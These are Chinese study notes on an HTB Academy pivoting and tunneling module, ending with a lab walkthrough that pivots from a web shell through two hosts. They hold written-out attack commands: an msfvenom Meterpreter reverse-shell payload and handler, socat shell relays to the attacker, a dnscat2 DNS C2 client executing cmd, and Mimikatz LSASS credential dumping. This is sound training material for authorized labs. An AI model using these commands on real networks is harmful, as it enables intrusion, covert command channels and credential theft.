来源:Hack The Box Academy 模块《Pivoting, Tunneling, and Port Forwarding》
目标:理解如何利用已控制主机访问原本不可达的网络,并根据网络限制选择合适的转发、代理和隧道方式。
安全提示:本文中的 IP、端口、用户名和命令来自实验场景,仅用于授权实验环境。不要直接对未授权网络执行扫描、转发或载荷。
一、先建立整体心智模型
1. 三个容易混淆的概念
概念 解决的问题 关键特征 横向移动 在当前可达网络中进入更多主机、服务或账户 重点是“换主机”与权限扩展 跳板(Pivoting) 借助已控制主机跨越网络边界 重点是“从这里进入另一个网段” 隧道(Tunneling) 把一种流量封装到另一种通信通道中 重点是隐藏、承载或绕过访问限制
2. 通用网络角色
攻击主机 ── 可达 ──> 跳板机 ── 可达 ──> 内部目标
│
└─ 可能拥有第二块网卡、路由或内部凭据
- 攻击主机:运行扫描器、代理、监听器和控制端。
- 跳板机:已经获得访问权限,并且能看到攻击主机看不到的网段。
- 内部目标:位于受限网络中的主机或服务。
3. 接管一台主机后的第一轮检查
不要急着建立隧道,先确认“这台主机到底能到哪里”:
- 当前用户、权限级别和可用凭据。
- 所有网卡及其 IPv4/IPv6 地址。
- 子网掩码、默认网关和路由表。
- 已监听的服务、出站连接限制和本地防火墙。
- 是否存在 VPN、代理、远程管理软件或其他网络接口。
常用检查命令:
# Linux
ifconfig
ip addr
ip route
netstat -r
# Windows
ipconfig
route print
netstat -ano
判断重点不是“看到了多少地址”,而是确认:目标网段是否直接挂在跳板机的第二块网卡上,以及流量应该从哪一条路由出去。
二、目录 1:Introduction —— 基础概念与网络识别
核心内容
本目录用两个小节建立基础:什么是跳板/隧道,以及理解跳板所需的网络知识。
- 跳板的本质:通过已经控制的主机进入原本不可达的网络。
- 双宿主主机很重要:一台主机拥有多个网卡时,往往同时连接外部网段和内部网段。
- 隧道不等于跳板:跳板描述路径和角色,隧道描述承载流量的方式。
- 路由决定可达性:系统会根据目的地址匹配路由表,再选择网卡和网关。
- 端口只是服务入口:发现目标网段不代表服务一定可用,还要确认目标端口和协议。
学习重点
- 私有地址只能在特定内部网络中路由,公网攻击机通常不能直接访问。
- tun0 等接口通常表示 VPN 或隧道接口;它可能是进入实验网络的前提。
- 子网掩码决定哪些地址属于同一网络;默认网关负责把流量交给其他网络。
- 端口扫描的意义是确认“哪条路径、哪个服务、哪个协议”可以继续利用。
复习问题
- 当前主机有几块网卡?每块网卡连接哪个网段?
- 去往内部网段时,路由表选择哪个网关和接口?
- 目标服务是绑定在 127.0.0.1、内网地址,还是所有接口?
三、目录 2:Choosing the Dig Site & Starting Our Tunnels —— SSH 转发的基础
核心思想
SSH 不只是远程登录工具,也可以把 TCP 流量搬运到另一个位置。选择哪一种转发,取决于“监听端口在哪里”和“连接方向是什么”。
1. 本地端口转发(Local Forwarding)
适合:攻击主机可以 SSH 到跳板机,但内部服务只对跳板机可见。
ssh -L <本地端口>:<跳板机视角的目标>:<目标端口> user@<跳板机>
典型思路:把本机 1234 映射到跳板机视角的 localhost:3306,然后访问本地 127.0.0.1:1234。
攻击主机:1234 ──SSH──> 跳板机:3306
2. 动态端口转发(Dynamic Forwarding)
适合:需要访问多个内部主机或多个端口,且不想为每个服务建立一条 -L 规则。
ssh -D 9050 user@<跳板机>
这会在本机开放 SOCKS 代理。再把支持代理的工具交给 proxychains 或其他 SOCKS 客户端:
proxychains nmap -Pn -sT <内部目标>
proxychains xfreerdp /v:<内部目标> /u:<用户> /p:<密码>
3. 验证链路,而不是只看 SSH 是否登录成功
netstat -antp | grep 1234
nmap -sV -p1234 localhost
动态转发还要验证:
- SOCKS 监听端口是否存在。
- proxychains.conf 是否指向正确的 127.0.0.1:9050。
- 工具是否使用 TCP connect 扫描;部分原始套接字功能无法通过 SOCKS 正常工作。
- 访问内部服务时,目标地址必须使用跳板机能到达的地址。
常见坑
- 把攻击机看到的 IP 当成跳板机看到的 IP。
- 使用 -sS 等依赖原始套接字的扫描方式测试 SOCKS,导致结果异常。
- 只转发了一个端口,却误以为已经获得整个内部网段的访问能力。
四、目录 3:Playing Pong with Socat —— 用 Socat 做双向中继
Socat 的定位
Socat 可以把一个 TCP 端点接到另一个 TCP 端点,适合做轻量级重定向器。它本身不负责权限提升,也不替代监听器或 payload;它只负责把连接搬到另一端。
1. 反向 Shell 重定向
流量方向:
Windows payload ──> Ubuntu:8080 ──socat──> 攻击主机:80 ──> Metasploit handler
跳板机上的典型重定向规则:
socat TCP4-LISTEN:8080,fork TCP4:<攻击主机>:80
关键点:payload 的回连地址要指向跳板机可达的地址;攻击主机上的 handler 监听另一端口。
2. Bind Shell 重定向
流量方向与反向 Shell 相反:Windows 自己监听,攻击主机通过跳板机去连接它。
攻击主机 handler ──> Ubuntu:8080 ──socat──> Windows:8443 bind shell
典型规则:
socat TCP4-LISTEN:8080,fork TCP4:<Windows内部地址>:8443
Metasploit 侧应使用与 Bind Shell 匹配的 payload/handler,而不是误用 reverse payload。
3. 排错顺序
- Windows 端的监听器是否真的启动。
- Ubuntu 是否监听预期端口。
- Ubuntu 是否能访问 Windows 内部地址。
- 攻击主机是否能访问 Ubuntu 的转发端口。
- handler 的 payload 类型、RHOST 和 LPORT 是否与链路一致。
五、目录 4:Pivoting Around Obstacles —— 面对不同平台和限制
本目录的共同主题是:当常规 SSH 或直接回连不方便时,使用更贴合环境的工具。
1. Plink:Windows 上的 SSH/SOCKS
Plink 是 PuTTY 套件中的命令行 SSH 客户端,可在 Windows 上建立动态 SOCKS 转发:
plink -ssh -D 9050 ubuntu@<跳板机>
之后可用 Proxifier 将 Windows 桌面程序导向 127.0.0.1:9050,例如让 mstsc.exe 通过 SOCKS 访问内网 RDP。
适用场景:
- 当前控制点是 Windows。
- 系统已有 PuTTY/Plink,避免额外部署复杂工具。
- 需要让图形化 Windows 程序使用 SOCKS。
2. sshuttle:把内网路由接入本机
sshuttle 通过 SSH 建立透明的 TCP 转发,并自动配置本机防火墙/NAT 规则;使用体验比逐个配置 proxychains 更接近“本机直接访问内部网”。
sudo apt-get install sshuttle
sudo sshuttle -r ubuntu@<跳板机> <内部网段> -v
之后可以直接对内部地址使用支持 TCP 的工具,例如:
sudo nmap -sT -Pn -p3389 <内部目标>
注意:sshuttle 并不是完整的 VPN,UDP、DNS 和部分特殊流量的支持受实现方式限制。
3. Rpivot:反向 SOCKS 代理
Python 2 环境准备
Rpivot 的经典版本依赖 Python 2。由于 Python 2 已经停止维护,许多发行版不再提供默认解释器、开发包或旧软件源,因此不要把“直接执行 python2”当作必然可行的前提。更稳妥的做法是只在 Rpivot 项目目录中,通过 pyenv 安装并固定 Python 2.7.18。
步骤 1:安装编译依赖
sudo apt install -y make build-essential libssl-dev zlib1g-dev libbz2-dev \
libreadline-dev libsqlite3-dev wget curl llvm libncurses-dev \
xz-utils tk-dev libffi-dev liblzma-dev git
这些依赖用于编译 Python、处理 SSL、压缩库、SQLite、终端库以及 pyenv 的安装和源码下载。不同发行版的包名可能略有差异;如果某个包不存在,应按当前发行版的等价包名替换,而不是混用不匹配的软件源。
步骤 2:安装 pyenv
curl https://pyenv.run | bash
该脚本会安装 pyenv 及其常用插件。执行远程脚本前应确认当前网络、代理和实验授权范围;如果环境要求审计,建议先下载脚本检查后再执行。
步骤 3:配置 Shell 环境
将以下内容加入 ~/.bashrc;如果使用 Zsh,则加入 ~/.zshrc:
export PATH="$HOME/.pyenv/bin:$PATH"
eval "$(pyenv init --path)"
eval "$(pyenv virtualenv-init -)"
使配置生效:
source ~/.bashrc
也可以关闭并重新打开终端。建议随后检查:
command -v pyenv
pyenv --version
步骤 4:安装 Python 2.7.18
pyenv install 2.7.18
Python 2.7.18 是 Python 2 的最终版本。该命令会下载源码并本地编译,可能需要几分钟;如果编译失败,优先检查开发库、编译器和 SSL 依赖,而不是直接重复安装。
步骤 5:只在 Rpivot 项目目录启用 Python 2
cd ~/rpivot
pyenv local 2.7.18
pyenv local 会在当前目录创建 .python-version。以后进入该目录时,pyenv 会自动选择 Python 2.7.18;离开目录后不会改变其他项目的 Python 版本。这样可以避免为了运行 Rpivot 而污染系统默认 Python 环境。
步骤 6:验证并运行 Rpivot
python --version
预期输出:
Python 2.7.18
确认版本后,再按本节的角色分工运行 server.py 和 client.py。如果输出仍是 Python 3 或找不到 python,检查当前目录是否为 ~/rpivot、.python-version 是否存在,以及当前 Shell 是否加载了 pyenv 配置。
重要边界:Python 2 已停止安全维护。这里只为兼容旧版 Rpivot 的授权实验准备隔离环境;不要把 Python 2 用于新项目,也不要用它运行不可信脚本。
适合:内部主机主动向外连接,而攻击主机无法直接进入内部网络。
角色关系:
git clone https://github.com/klsecservices/rpivot.git
python2 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
scp -r rpivot user@<跳板机>:/home/user/
python2 client.py --server-ip <攻击主机> --server-port 9999
proxychains firefox-esr http://<内部Web服务器>/
如果出站路径经过带 NTLM 身份验证的 HTTP 代理,可在 client 侧额外配置代理地址、端口、域、用户名和密码。
4. Windows Netsh:系统原生端口转发
Windows 自带 netsh,可以创建端口代理规则:
netsh interface portproxy add v4tov4 ^
listenport=8080 listenaddress=<跳板机地址> ^
connectport=3389 connectaddress=<内部目标地址>
验证:
netsh interface portproxy show v4tov4
攻击主机随后连接跳板机的 8080,流量会被转发到内部目标的 3389。
注意:还要检查 Windows 防火墙、监听地址、IPv4/IPv6 类型以及规则是否持久化。端口代理存在不代表目标服务一定允许访问。
六、目录 5:Branching Out Our Tunnels —— 从普通转发升级到隐蔽/特殊隧道
1. DNS 隧道:dnscat2
DNS 往往是企业网络中必须开放的协议,因此可以被滥用来承载加密 C2 数据。dnscat2 的关键点是:
- 攻击主机运行 DNS 服务端。
- Windows 目标运行客户端。
- 数据通过 DNS 查询/响应传输,常见实现使用 TXT 记录。
- 服务端生成预共享密钥,客户端用它完成认证和加密。
服务端准备:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo gem install bundler
sudo bundle install
sudo ruby dnscat2.rb --dns host=<攻击主机>:53,domain=<域名> --no-cache
Windows 侧可使用 PowerShell 客户端:
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver <攻击主机> -Domain <域名> -PreSharedSecret <密钥> -Exec cmd
服务端交互时,先确认会话状态为加密且已验证,再使用 window -i <编号> 进入会话。
2. SOCKS5 隧道:Chisel
Chisel 是基于 Go 的加密 TCP/HTTP 隧道工具,常用于建立 SOCKS5 代理。学习重点不是死记某条命令,而是理解“服务端、客户端、监听方向和代理入口”四者如何对应。
典型流程:
- 攻击主机启动 Chisel server。
- 内部跳板机运行 client,主动连接攻击主机。
- client 把内部网络访问能力暴露为 SOCKS5。
- 攻击主机上的浏览器、RDP 或扫描工具通过该 SOCKS5 入口访问内网。
Chisel 环境排错:glibc 版本不兼容
典型现象
在跳板机上启动 Chisel 时可能看到:
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel)
问题原因
Chisel 是在攻击主机上编译的,生成的 ELF 二进制会依赖编译环境中的 glibc 版本。如果攻击主机的 glibc 比跳板机新,二进制启动时就会要求跳板机提供不存在的 GLIBC_2.xx 符号,因此程序还没开始监听就退出。
先比较两端环境,不要直接替换系统库:
ldd --version
strings ./chisel | grep GLIBC_
推荐方案:使用较旧的预编译 Chisel Release
旧版通常在较旧的系统环境中构建,对 glibc 的要求更低。以 v1.7.7 为例:
# 攻击主机:下载并解压兼容版本
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
# 传输到跳板机
scp chisel_1.7.7_linux_amd64 ubuntu@<跳板机地址>:~/chisel_compatible
在跳板机上运行:
chmod +x ~/chisel_compatible
~/chisel_compatible server -v -p 1234 --socks5
攻击主机客户端也应使用匹配版本:
./chisel_1.7.7_linux_amd64 client -v <跳板机地址>:1234 socks
备选方案:在相近的旧环境中重新编译
也可以使用与跳板机接近的旧版 Linux 构建 Chisel,再把生成的二进制传入目标。传输前检查架构:
file chisel
uname -m
不要为了运行 Chisel 而手工降级或覆盖 /lib/x86_64-linux-gnu/libc.so.6。替换系统 glibc 可能导致 SSH、Shell 和大量系统程序无法启动;实验中优先更换 Chisel 二进制或构建环境。
排错顺序
- 确认跳板机架构是否为 x86_64/amd64。
- 用 ldd --version 比较攻击主机和跳板机的 glibc 版本。
- 检查文件是否完整、已解压且具有执行权限。
- 确认客户端和服务端版本匹配。
- 确认监听端口、防火墙和网络路径正常。
- 看到 Listening on 或 Connected 后,再配置 proxychains。
3. ICMP 隧道
当 TCP/UDP 被严格限制,但 ICMP 可以通过时,可考虑 ICMP 隧道。它通常将数据编码进 ICMP Echo 请求/响应。
优点:可能绕过只关注 TCP/UDP 的简单过滤。
限制:吞吐量低、延迟高、容易被行为检测发现;现代网络通常会对 ICMP 做速率限制或深度检测。
ptunnel-ng 环境排错:缺少 libcrypto.so.3
典型现象
在跳板机启动服务端时出现:
./ptunnel-ng: error while loading shared libraries: libcrypto.so.3:
cannot open shared object file: No such file or directory
问题原因
攻击机上编译出的 ptunnel-ng 是动态链接程序,并依赖 OpenSSL 3 提供的 libcrypto.so.3。跳板机可能使用较旧的 OpenSSL,只存在 libcrypto.so.1.1 或其他版本,因此动态加载器无法满足依赖,程序在处理任何 ICMP 流量前就退出。
可先检查二进制依赖和两端环境:
# 查看缺失的动态库
ldd ./ptunnel-ng
# 查看系统能找到哪些 libcrypto
ldconfig -p | grep libcrypto
# 辅助确认系统与 OpenSSL 版本
openssl version
ldd --version
不要通过创建错误的符号链接把旧版 libcrypto 冒充为 libcrypto.so.3。不同 OpenSSL 主版本的 ABI 不兼容,强行链接可能导致崩溃或不可预测行为。
推荐方案:在攻击机重新构建静态二进制
静态链接会尽量把所需库打包进可执行文件,降低目标机缺少 libcrypto.so.3 等运行库时的兼容问题。
# 1. 安装构建工具
sudo apt install -y automake autoconf
# 2. 使用干净的仓库重新构建
git clone https://github.com/utoni/ptunnel-ng.git
cd ptunnel-ng/
# 3. 修改构建脚本,启用静态链接
sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@ \&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh
# 4. 构建
./autogen.sh
若实验环境中的目录权限要求课程命令,可使用 sudo ./autogen.sh;通常优先以普通用户编译,避免产生 root 所有的构建文件。
构建完成后验证生成物:
file ./src/ptunnel-ng
ldd ./src/ptunnel-ng
理想情况下,ldd 应显示 not a dynamic executable,或至少不再列出缺失的 libcrypto.so.3。随后再传输到跳板机:
scp ./src/ptunnel-ng ubuntu@<跳板机地址>:~/ptunnel-ng-static
跳板机上启动:
chmod +x ~/ptunnel-ng-static
sudo ~/ptunnel-ng-static -r<跳板机可达地址> -R22
注意事项与排错顺序
- 静态链接不等于绝对无依赖;构建环境还需要相应库的静态归档文件(通常是 .a 文件)。
- 如果链接阶段报缺少 OpenSSL 静态库,应安装当前发行版对应的 OpenSSL 开发包后重新构建。
- 用 file 和 uname -m 确认攻击机生成物与跳板机架构一致。
- 比较攻击机与跳板机的 glibc、OpenSSL 版本,不要在目标机直接替换系统库。
- 先确认服务端出现 Starting ptunnel-ng 和监听提示,再启动攻击机客户端。
- 隧道建立后先测试本地 2222 端口的 SSH,再叠加 ssh -D 和 proxychains。
- ptunnel-ng 需要处理 ICMP,通常需要 root 权限或等效的原始套接字能力。
本目录的共通注意事项
- “允许 DNS/ICMP”不等于“允许任意隧道”;检测设备可能识别异常频率、长度和域名模式。
- 隧道必须考虑认证、加密、重连、MTU、延迟和日志痕迹。
- 只在有明确授权的实验或测试范围内使用。
七、目录 6:Double Pivots —— 多级跳板
核心模型
当攻击主机无法直接到达最终网段,而第一跳也无法直接完成所有访问时,需要串联多个跳板:
攻击主机 → Pivot A → Pivot B → 最终目标
设计方法
- 分别记录每一跳的网卡、路由、监听地址和可达网段。
- 明确每条连接是“攻击主机主动连接”还是“内部主机主动回连”。
- 每增加一跳,就重新验证上一跳到下一跳的连通性。
- 尽量减少同时存在的转发规则,避免端口冲突和排错困难。
- 为每一条隧道记录入口、出口、协议、端口和关闭方法。
典型风险
- 地址含义随跳板变化:localhost 在每台机器上都代表不同主机。
- 多层 SOCKS 可能导致延迟、DNS 泄漏和工具兼容性问题。
- 一个中间节点断开可能使后续所有连接失效。
八、目录 7:Skills Assessment —— 综合应用框架
综合练习的重点不是背命令,而是根据限制做决策:
- 先枚举当前主机和路由。
- 判断目标位于哪个不可达网段。
- 判断哪一方能主动发起连接。
- 选择最小、最稳定的转发方式。
- 用本地监听、远端监听、代理配置和目标服务测试逐段验证。
- 记录最终路径和证据,而不是只记录“成功了”。
技能评估演示:从 Web Shell 到双重跳板
演示来源:Practical Pivoting, Tunneling & Port Forwarding — My HTB Skills Assessment Walkthrough。以下内容按攻击链重新归纳,并非原文逐句翻译。实验地址、回连地址和凭据会随靶场实例变化,不能直接照抄。
- 从 Web Shell 确认第一台双宿主主机
进入入口 Web Shell 后,先运行 ifconfig、ip addr 或 ip route。演示中的 Web 服务器同时具有:
- HTB 外部实验网地址 10.129.229.129;
- 第一层内部网地址 172.16.5.15/23。
这说明它不仅是 Web 入口,也是攻击机进入 172.16.5.0/23 的第一台跳板。后续所有工具选择都建立在这一网络事实之上。

继续枚举 /home 和用户文件。演示在 webadmin 目录中发现:
- 一把 RSA 私钥;
- 一份只供管理员查看的备注;
- 备注中记录了下一台 Windows 主机可使用的用户名和密码。
这里应把“凭据”和“适用目标”同时记录,不能只摘录密码。私钥内容不要粘贴到普通命令历史或公开笔记中。

- 使用遗留私钥建立稳定 SSH 入口
把私钥保存到攻击主机后收紧权限,再用它登录 Web/跳板服务器:
chmod 600 rsa_idWebadmin
ssh -i rsa_idWebadmin webadmin@<Web服务器外部IP>

如果私钥被拒绝,应检查用户名、目标主机、文件权限和私钥格式。私钥存在不代表它一定授权给当前尝试的用户名。
- 建立 Meterpreter 会话并从跳板侧发现内部主机
演示先生成 Linux x64 Meterpreter 反向载荷:
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=<攻击机VPN地址> LPORT=8080 -f elf -o backupjob
再通过现有 SSH 通道把文件复制到 Ubuntu 跳板:
scp -i rsa_idWebadmin backupjob webadmin@<Web服务器外部IP>:~/

截图中的错误:图中生成的文件名是 backupjob,随后却尝试传输不存在的 backupscript.exe,因此出现 No such file or directory。正确做法是传输刚生成的 backupjob,并确认本地文件存在后再执行 scp。
跳板机上赋予执行权限并运行:
chmod +x backupjob
./backupjob

Metasploit 侧启动与载荷参数一致的 handler:
use exploit/multi/handler
set LHOST 0.0.0.0
set LPORT 8080
set PAYLOAD linux/x64/meterpreter/reverse_tcp
run
收到 Meterpreter 会话后,再进行内部发现;不要在 handler 未监听时先执行载荷。

演示使用 Meterpreter 的 ping_sweep 探测 172.16.5.0/23:
run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
结果发现 Web 跳板自身的 172.16.5.15,以及新的 Windows 主机 172.16.5.35。

ICMP 无响应不能直接等同于主机离线;防火墙可能阻止 Echo Reply。必要时还要结合已知服务端口进行 TCP 探测。
- 建立 SSH 动态 SOCKS,并通过 FreeRDP 进入第一台 Windows
重新使用 SSH 私钥连接第一台跳板,同时在攻击机本地创建 SOCKS 入口:
ssh -i rsa_idWebadmin -N -D 127.0.0.1:9050 \
webadmin@<Web服务器外部IP>

截图使用了 sudo ssh -D 9050 ...,但监听 9050 并不需要 root;私钥属于普通用户时,使用 sudo 还可能导致密钥、known_hosts 和文件权限混乱。
确认 /etc/proxychains4.conf 末尾指向 socks5 127.0.0.1 9050,再利用前面备注中发现的 Windows 凭据连接 172.16.5.35。演示同时把攻击机目录映射进 RDP 会话,方便后续传送工具:
proxychains4 xfreerdp3 /v:172.16.5.35 \
/u:<第一台Windows用户> /p:'<密码>' \
/drive:share,<攻击机共享目录>

进入 Windows 后读取本机 C:\Flag.txt,完成该阶段目标。

- 在第一台 Windows 上识别第二个内部网段
运行 ipconfig 后可见该 Windows 主机也是双宿主主机:
- 第一层内部网接口:172.16.5.35;
- 第二层内部网接口:172.16.6.35。
因此攻击路径从单跳变成:攻击机 → Web/Ubuntu 跳板 → Windows 跳板 → 172.16.6.0/24。

在 Windows CMD 中可以使用课程演示的循环对第二层网段做简单 ICMP 存活探测:
for /L %i in (1,1,254) do ping 172.16.6.%i -n 1 -w 100 | find "Reply"

演示发现 172.16.6.25 有响应。注意过滤条件可能受到系统语言影响,而且 ICMP 被禁用时会产生假阴性。

- 根据 LSASS 提示取得下一跳凭据
演示根据“LSASS 中可能保存了信息”的提示,在第一台 Windows 上以管理员身份运行 Mimikatz:
privilege::debug
sekurlsa::logonpasswords

输出中找到了域用户 vfank 的凭据,为访问 172.16.6.25 提供了认证条件。

这里的核心不是记忆某个固定密码,而是理解:
- 网络枚举给出下一跳 IP;
- LSASS 线索给出凭据来源;
- 域名、用户名、密码和目标地址必须配套记录;
- 只有管理员/调试权限满足时,相关凭据读取步骤才可能成功。
- 从第一台 Windows 发起第二次 RDP
第一台 Windows 已直接连接 172.16.6.0/24,因此可在其 RDP 桌面中打开 mstsc.exe,使用新获得的域账号连接 172.16.6.25:

进入第二台 Windows 后读取其 C:\Flag.txt。

演示还展示了 RDP 重定向后的网络驱动器,以及最终 Flag 文件所在位置:


- 最终拓扑与关键决策
攻击机
│ SSH + 动态 SOCKS
▼
Web/Ubuntu 跳板
├─ 10.129.229.129
└─ 172.16.5.15
│ ProxyChains + RDP
▼
Windows 跳板
├─ 172.16.5.35
└─ 172.16.6.35
│ Windows 原生 RDP
▼
最终 Windows 主机 172.16.6.25

这套流程的主次关系是:
- 先识别多网卡和路由,确定谁能充当下一跳;
- 再寻找与目标匹配的凭据,网络可达不等于能登录;
- 第一跳使用 SOCKS,因为需要从攻击机访问多个内部 TCP 服务;
- 第二跳直接从 Windows 发起 RDP,因为第一台 Windows 已经直接连接第二内部网段;
- 每次只验证一层:SSH → SOCKS → 第一台 RDP → 第二网段探测 → 第二台 RDP。
选择速查
场景 首选思路 只访问一个内部服务 SSH -L 或 Windows netsh portproxy 访问多个内部 TCP 服务 SSH -D、sshuttle 或 Chisel SOCKS5 内部主机只能出站连接 Rpivot、反向 SSH 或反向 Chisel 控制点是 Windows Plink、Proxifier、Netsh 必须借助 DNS 通道 dnscat2 需要经过多台跳板 分层 SOCKS/端口转发,并逐跳验证
九、本章工具首次使用、配置与前置条件
本章只整理课程已经介绍的工具和用法。命令中的地址、账号、端口和文件名均为占位符;使用前先代入当前实验拓扑。安装软件只是准备工作,真正决定方案能否成立的是认证信息、连接方向、路由、端口和权限。
1. SSH 本地、动态与远程转发
首次使用前置条件
- 攻击主机需要有 SSH 客户端,跳板机需要运行 SSH 服务。
- 攻击主机必须能连接跳板机的 SSH 端口,默认是 TCP/22。
- 必须掌握一个可登录跳板机的用户名,以及密码或对应私钥;“端口开放”不等于“具备 SSH 登录条件”。
- 使用密钥时,私钥应位于攻击主机,并具有正确权限,例如 chmod 600 id_rsa。
- 跳板机必须能访问要转发的内部目标和目标端口。
- 服务端 SSH 配置必须允许 TCP 转发;远程转发若要监听非回环地址,还会受到服务端监听策略限制。
安装与基础验证
# Debian/Ubuntu/Kali:安装客户端
sudo apt update
sudo apt install -y openssh-client
# 若实验中需要把当前 Linux 主机作为 SSH 服务端
sudo apt install -y openssh-server
sudo systemctl enable --now ssh
# 确认客户端与登录条件
ssh -V
ssh -i <私钥路径> <用户>@<跳板机IP>
# 或使用密码登录
ssh <用户>@<跳板机IP>
第一次连接出现主机指纹提示时,应先确认指纹属于预期跳板机,再接受并写入 known_hosts。
三种模式的最小用法
# 本地转发:本机 1234 -> 跳板机视角的目标 10.10.10.10:3389
ssh -N -L 127.0.0.1:1234:10.10.10.10:3389 <用户>@<跳板机IP>
# 动态转发:在本机建立 SOCKS 入口
ssh -N -D 127.0.0.1:9050 <用户>@<跳板机IP>
# 远程转发:在 SSH 服务端开放端口,流量经当前客户端转出
ssh -N -R 8080:<客户端视角的目标>:<目标端口> <用户>@<SSH服务端IP>
- -N:只建立转发,不启动远程 Shell。
- -L:监听点在 SSH 客户端一侧。
- -D:监听点在 SSH 客户端一侧,但目标由 SOCKS 客户端逐次决定。
- -R:监听点在 SSH 服务端一侧。
- -i:明确指定私钥。
验证
ss -lntp | grep -E '1234|9050|8080'
nc -vz 127.0.0.1 1234
先确认 SSH 登录成功,再确认本地监听出现,最后测试转发后的具体服务。SSH 会话一旦退出,对应转发也会消失。
2. ProxyChains、Nmap 与 FreeRDP
这三者在动态 SOCKS 转发建立后配合使用:SSH/Chisel/Rpivot 提供 SOCKS,ProxyChains 把应用的 TCP 连接导入 SOCKS,Nmap 或 FreeRDP 才是实际访问工具。
安装与前置条件
sudo apt update
sudo apt install -y proxychains4 nmap freerdp2-x11
- 必须先有一个正在监听的 SOCKS4 或 SOCKS5 代理。
- 配置文件中的代理类型、地址和端口必须与真实监听一致。
- Nmap 通过 ProxyChains 时应使用 TCP Connect 扫描 -sT;SYN 扫描、UDP、ICMP 和部分主机发现功能不能按普通 TCP 连接方式穿过 SOCKS。
- RDP 目标必须开放 TCP/3389,并且需要有效的本地或域账号凭据。
首次配置
编辑 /etc/proxychains4.conf 或课程环境中的 /etc/proxychains.conf,在 [ProxyList] 末尾只保留当前实际代理,例如:
socks5 127.0.0.1 9050
如果 Rpivot 提供的是 SOCKS4,则写成:
socks4 127.0.0.1 1080
最小使用与验证
# 先扫描少量明确端口,不要一开始扫描全端口
proxychains4 nmap -Pn -sT -p22,80,445,3389 <内部目标IP>
# RDP:本地账号
proxychains4 xfreerdp /v:<内部目标IP> /u:<用户名> /p:'<密码>'
# RDP:域账号
proxychains4 xfreerdp /v:<内部目标IP> /d:<域名> /u:<用户名> /p:'<密码>'
-Pn 表示不依赖普通主机发现结果;它不保证目标在线。若 ProxyChains 显示代理连接成功但应用失败,应继续检查目标端口、凭据、域名格式和 RDP 服务状态。
3. Metasploit:Meterpreter 路由、SOCKS 与端口转发
首次使用前置条件
- 已在授权实验中获得一个可用的 Meterpreter 会话。
- 该会话所在主机必须能访问要加入路由的内部网段。
- 攻击主机需要安装并初始化 Metasploit;模块、payload 和 handler 必须互相匹配。
- 添加路由不会自动生成代理,启动 SOCKS 模块后还需要配置 ProxyChains。
安装与启动(课程常见 Kali/Parrot 环境)
sudo apt update
sudo apt install -y metasploit-framework
sudo msfdb init
msfconsole
自动路由
meterpreter > run autoroute -s <内部网段>/<前缀>
meterpreter > run autoroute -p
也可以把 Meterpreter 会话放到后台,再使用课程中的 post/multi/manage/autoroute 模块。网段必须是网络地址而不是随意挑选的主机地址。
通过 Metasploit 提供 SOCKS
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
msf6 auxiliary(server/socks_proxy) > run -j
随后把 ProxyChains 配置为 socks4 127.0.0.1 9050。课程环境的模块选项可能随版本显示不同,应以 show options 为准。
Meterpreter 单端口转发
meterpreter > portfwd add -l 3300 -p 3389 -r <内部目标IP>
meterpreter > portfwd list
这表示攻击主机访问本地 TCP/3300,Meterpreter 主机再连接内部目标 TCP/3389。完成后应删除不再使用的规则,避免遗留监听器。
4. Socat TCP 重定向
安装与前置条件
sudo apt update
sudo apt install -y socat
socat -V
- Socat 必须运行在同时能连接入口端和出口端的跳板机上。
- 跳板机需要有权限监听指定端口;监听 1024 以下端口通常需要更高权限。
- 防火墙必须允许入口连接,出口目标也必须已经监听。
- Socat 只负责搬运连接;payload、handler 或 bind shell 仍需单独准备。
首次使用
# 把跳板机 8080 上收到的连接转发到攻击主机 80
socat TCP4-LISTEN:8080,fork TCP4:<攻击主机IP>:80
# 把跳板机 8080 转发到内部 Windows 的 bind shell 8443
socat TCP4-LISTEN:8080,fork TCP4:<内部WindowsIP>:8443
fork 允许监听器处理后续连接。启动后依次验证 Socat 监听、跳板机到出口的连通性,以及 handler/payload 的方向是否一致。停止 Socat 进程即可撤销该临时转发。
5. Plink 与 Proxifier
前置条件
- Windows 控制点上需要 plink.exe,并且能访问 SSH 跳板机。
- 仍然需要 SSH 用户名以及密码或 PuTTY 可用的私钥;Plink 不能绕过 SSH 认证。
- 首次连接需要核对并接受 SSH 主机密钥。
- Proxifier 只是把 Windows 应用的 TCP 连接交给代理,因此必须先有可用的 SOCKS 监听。
Plink 首次使用
从课程给出的 PuTTY/Plink 下载链接获取与系统架构匹配的程序,并在命令提示符中验证:
plink.exe -V
plink.exe -ssh -D 127.0.0.1:9050 <用户>@<跳板机IP>
若使用 PuTTY 私钥:
plink.exe -ssh -i <密钥.ppk> -D 127.0.0.1:9050 <用户>@<跳板机IP>
Proxifier 首次配置
- 打开 Profile -> Proxy Servers,新增 127.0.0.1:9050,类型选择 SOCKS5。
- 使用内置检查确认代理可连接。
- 打开 Profile -> Proxification Rules,只为实验所需程序(如 mstsc.exe)建立规则。
- 把该规则的 Action 指向新建 SOCKS5,保留本地回环直连规则,避免把代理自身再次送入代理。
- 保持 Plink 会话运行,再启动目标 Windows 应用。
若远程程序直接使用 IP,DNS 解析问题影响较小;使用内部主机名时,还要确认名称解析是否也按预期经过代理或已有本地解析记录。
6. sshuttle
安装与前置条件
sudo apt update
sudo apt install -y sshuttle
sshuttle --version
- 必须能用 SSH 密码或私钥登录跳板机。
- 本机需要 sudo/root 权限,以便 sshuttle 配置转发和防火墙规则。
- 跳板机需要有 Python,并且能够访问指定内部网段。
- 要转发的网段必须明确;错误或过宽的网段可能影响本机正常路由。
